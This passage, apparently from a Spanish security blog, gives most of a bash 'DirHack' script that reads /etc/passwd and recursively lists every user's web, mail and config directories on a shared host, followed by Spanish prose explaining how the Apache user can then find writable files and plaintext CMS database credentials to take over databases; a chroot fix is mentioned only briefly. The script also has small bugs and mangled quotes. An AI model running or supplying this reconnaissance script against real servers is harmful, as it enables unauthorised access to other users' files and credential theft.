  19.         echo "script."
  20.         echo -e "tusage: $0 id output-file bz2|gz|text (default is text)"
  21.         echo -e "texample: $0 999 out bz2"
  22.         echo
  23.         break
  24. else
  25.         echo > $2
  26.         if [ ! -w $2 ]
  27.         then
  28.                 echo "File $2 doesn’t have write permissions"
  29.                 break
  30.         fi
  31.  
  32.         freedirs="public_html public_ftp etc tmp mail"
  33.         echo "Starting DirHack $version"
  34.         echo "DirHack eXploit $version" >> $2
  35.         for dir in $freedirs
  36.         do
  37.                 for user in `awk -F‘:’ ‘ {printf $1 "n"} ‘ /etc/passwd`
  38.                 do
  39.                         userhome=`cat /etc/passwd |grep $user: |grep :$(id -u $user): |awk -F‘:’ ‘ {printf $6 "n"}’`
  40.                         fulldir=$userhome/$dir
  41.                         if [ `id -u $user` -gt $1 ]
  42.                         then
  43.                                 if [ -d $fulldir ]
  44.                                 then
  45.                                         echo "" >> $2
  46.                                         echo "————————————————————-" >> $2
  47.                                         echo "User: $user" >> $2
  48.                                         echo "Directory: $fulldir" >> $2
  49.                                         echo "Size: `du -sh $fulldir`" >> $2
  50.                                         echo "" >> $2
  51.                                         ls -Rla $fulldir >> $2
  52.                         fi
  53.                 fi
  54.                 done
  55.         done
  56.         case $3 in
  57.                 bz2)
  58.                         bzip2=`which bzip2`
  59.                         if [ -x $bzip ]
  60.                         then
  61.                                 $bzip2 -f $2
  62.                                 echo "File ready and compressed in $2.bz2"
  63.                         else
  64.                                 echo "No exec permissions for bzip2 or bzip2 not found."
  65.                                 echo "File left uncompressed in $2"
  66.                         fi;;
  67.                 gz)
  68.                         gzip=`which gzip`
  69.                         if [ -x $gzip ]
  70.                         then
  71.                                 $gzip -f $2
  72.                                 echo "File ready and compressed in $2.gz"
  73.                         else
  74.                                 echo "No exec permissions for gzip or gzip not found."
  75.                                 echo "File left uncompressed in $2"
  76.                         fi;;
  77.  
  78.                 *)
  79.                         echo "File ready in $2";;
  80.  
  81.                 esac

Funcionamiento: Lee todos los usuarios desde /etc/passwd y luego, por cada usuario obtenido, ingresa al directorio public_html y lista, recursivamente, todos los directorios y subdirectorios. Generalmente, el usuario en el que corre apache se llama apache y obviamente, debe tener acceso de lectura a todos los directorios y ficheros que se desean mostrar, por ejemplo /home/user/public_html/index.php.

Si no tiene permisos de lectura para apache dificilmente se podria ingresar via web. Muchas veces, estos ficheros tienen permisos de escritura y de lectura y es cuando hay que actuar. Si no encontramos ficheros con permisos de escritura no importa, al menos tenemos acceso para leerlos. Por ejemplo, en los CMS mas populares como WordPress, Joomla, etc. suelen tener un fichero de configuracion con el usuario y clave, en texto plato, de la base de datos con lo que podemos generar un script que nos permita ingresar y/o apoderarnos de esa base de datos.
Este script nos creara un listado, en txt (opcionalmente comprimido en gz o bz), con todos los ficheros y sus permisos, para que podamos indagar en la estructura de directorios.
Una forma de solucionar este problema es con chroot.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/dirhack/feed/ 5